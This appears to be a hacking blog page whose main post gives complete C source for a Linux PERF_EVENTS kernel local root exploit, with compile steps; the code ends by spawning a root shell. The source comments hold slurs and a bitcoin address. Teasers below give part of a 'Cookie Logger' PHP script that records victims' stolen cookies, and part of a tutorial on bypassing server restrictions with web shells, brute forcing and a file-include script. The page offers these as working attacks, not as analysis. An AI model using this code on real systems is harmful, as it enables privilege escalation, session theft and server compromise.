Skip to main content

Linux PERF_EVENTS Local Root Exploit

 Linux PERF_EVENTS Local Root Linux local root exploit that requires that PERF_EVENTS be compiled into the kernel. This has been fixed in 3.8.10. This bug apparently got backported from 2.6.37 into CentOS5 2.6.32 kernels.

Code:
/** linux 2.6.37-3.x.x x86_64, ~100 LOC* gcc-4.6 -O2 semtex.c && ./a.out* 2010 sd@fucksheep.org, salut!** update may 2013:* seems like centos 2.6.32 backported the perf bug, lol.* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.*/
#define _GNU_SOURCE 1#include <stdint.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/mman.h>#include <syscall.h>#include <stdint.h>#include <assert.h>
#define BASE  0x380000000#define SIZE  0x010000000#define KSIZE  0x2000000#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
void fuck() {  int i,j,k;  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));  uint64_t kbase = ((uint64_t)current)>>36;  uint32_t *fixptr = (void*) AB(1);  *fixptr = -1;
  for (i=0; i<4000; i+=4) {    uint64_t *p = (void *)&current[i];    uint32_t *t = (void*) p[0];    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;    for (j=0; j<20; j++) { for (k = 0; k < 8; k++)      if (((uint32_t*)uids)[k] != t[j+k]) goto next;      for (i = 0; i < 8; i++) t[j+i] = 0;      for (i = 0; i < 10; i++) t[j+9+i] = -1;      return;next:;    }  }}
void sheep(uint32_t off) {  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };  int fd = syscall(298, buf, 0, -1, -1, 0);  assert(!close(fd));}

int  main() {  uint64_t  u,g,needle, kbase, *p; uint8_t *code;  uint32_t *map, j = 5;  int i;  struct {    uint16_t limit;    uint64_t addr;  } __attribute__((packed)) idt;  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);  memset(map, 0, SIZE);  sheep(-1); sheep(-2);  for (i = 0; i < SIZE/4; i++) if (map[i]) {    assert(map[i+1]);    break;  }  assert(i<SIZE/4);  asm ("sidt %0" : "=m" (idt));  kbase = idt.addr & 0xff000000;  u = getuid(); g = getgid();  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",    printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);  setresuid(u,u,u); setresgid(g,g,g);  while (j--) {    needle = AB(j+1);    assert(p = memmem(code, 1024, &needle, 8));    if (!p) continue;    *p = j?((g<<32)|u):(idt.addr + 0x48);  }  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);  asm("int $0x4");  assert(!setuid(0));  return execl("/bin/bash", "-sh", NULL);}

Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h

Cookie Logger

         Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary

|Bypass Symlink on 2013 Server With Different .htaccess and Methods by Sen Haxor |

Hi, Guys,  Please a wonderfull tutorial provided bt Sem;\  Today I gonna Explain how to bypass Symlink on 2013 Server With Different .htaccess and Methods. So let's Get Started :) Note: This method is not applicable for Godaddy, Bluehost, Hostgator and Hostmonstor Servers. For This First You Need the Following Files : 1 -> Sen Haxor CGI Shell 2 -> sen.zip 3 -> passwd-bypass.php 4 -> Turbo Brute force Cpanel 5 - > Port.py First Before Starting to symlink we need to create php.ini and ini.php to Disable Safe mode and Disabled Functions on the server . Use the Following Code : Make a php.ini with the following code safe_mode=Off And ini.php with <? echo ini_get("safe_mode"); echo ini_get("open_basedir"); include($_GET["file"]); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo